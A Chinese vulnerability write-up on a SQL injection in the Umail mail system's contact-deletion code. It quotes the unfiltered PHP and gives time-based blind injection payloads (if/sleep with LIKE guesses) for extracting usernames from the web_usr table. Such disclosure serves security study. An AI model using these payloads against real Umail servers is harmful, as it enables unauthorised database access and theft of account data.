Umail最新版SQL注入

client\pab\module\o_contact.php [php] TRUE, "message" => "" ) ); } $result = $PAB->delContactByID( $user_id, $contact_ids, 0 );//跟踪该方法 if ( $result ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } else { dump_json( array( "status" => FALSE, "message" => "修改联系人时发生错误,删除失败!" ) ); } } public function delContactByID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw= FALSE ) { $_obfuscate_B6D9o5T_tA = $this->delMapByContactID( $_obfuscate_nQNptTJPg, $_obfuscate_aTToSQRb_5zHbps, $_obfuscate_ySeUHBw ); $_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND contact_id IN (".$_obfuscate_aTToSQRb_5zHbps.")"; //注意1!! $_obfuscate_vLWlS_m_2wteA = $this->del_contact( $_obfuscate_IRFhnYw, $_obfuscate_ySeUHBw ); return $_obfuscate_vLWlS_m5__2wteA; } ................ ?> [/php] 看到上面的注意1,没有单引号闭合,且代入数据库变量未过滤,存在注入。 此处不能回显,可以通过延时盲注来注出数据。 先来张延时证明注入存在: 3 逐位猜解: [php] 1. or if(((select count(*) from web_usr where usr_name like 'a____') > 0), 0, sleep(5))# usr_name是a开头的,所以这一句很快执行完毕。 2. or if(((select count(*) from web_usr where usr_name like 'ab___') > 0), 0, sleep(5))# usr_name不是ab开头的,所以这一句就会去执行后面的sleep(5) 3. or if(((select count(*) from web_usr where usr_name like 'ad___') > 0), 0, sleep(5))# usr_name是ad开头的,这一句会很快执行 [/php] 5 4

发表评论